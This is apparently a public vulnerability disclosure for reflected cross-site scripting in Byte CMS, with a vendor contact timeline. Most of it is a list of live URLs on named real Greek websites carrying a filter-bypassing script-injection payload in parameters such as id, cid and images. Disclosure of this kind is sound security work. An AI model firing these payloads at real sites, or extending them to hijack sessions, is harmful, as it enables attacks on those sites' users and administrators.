About the software
Byte CMS is a commercial content management system developed by BitsnBytes.
Cross-site scripting targets the users of an application instead of the server. Although this is a limitation, since it allows attackers to hijack other users’ sessions, an attacker could target an administrator in order to gain full control over the application.
Proof Of Concept
The cross site scripting vulnerability was found in many variables e.g. id, cid, images etc. The security issue might exist in additional variables but wasn’t verified due to the nature of the audit (black-box). We must mention that the CMS applies a typical XSS filtering that can be easily bypassed.
As proof of concept we provide some of the vulnerable sites with the XSS payload trigger:
http://www.bitsnbytes.gr/fss/slider.php?images='"--></style></scRipt><scRipt>alert(0x0000DB)</scRipt> http://www.bitsnbytes.gr/all.php?goto='"--></style></scRipt><scRipt>alert(0x0000BC)</scRipt> http://stokokkino.gr/mp3.php?id='"--></style></scRipt><scRipt>alert(0x000104)</scRipt>&w=300&h=23&a=0 http://www.thepressproject.gr/list.php?cid='"--></style></scRipt><scRipt>alert(0x000202)</scRipt> http://www.msfree.gr/list.php?cid='"--></style></scRipt><scRipt>alert(0x000202)</scRipt> http://www.rednotebook.gr/details.php?id='"--></style></scRipt><scRipt>alert(0x000139)</scRipt> http://www.rednotebook.gr/report.php?id='"--></style></scRipt><scRipt>alert(0x00016B)</scRipt>&article=704&action=edit http://www.autofree.gr/ms.php?id='"--></style></scRipt><scRipt>alert(0x000361)</scRipt>
Vendor Contact: 23/12/2013 (Contacted vendor in person)
09/01/2014 (1st email – no response about the fix)
15/01/2014 (2nd email – no response about the fix)
02/03/2014 (Email to the site owners)
02/03/2014 Public Disclosure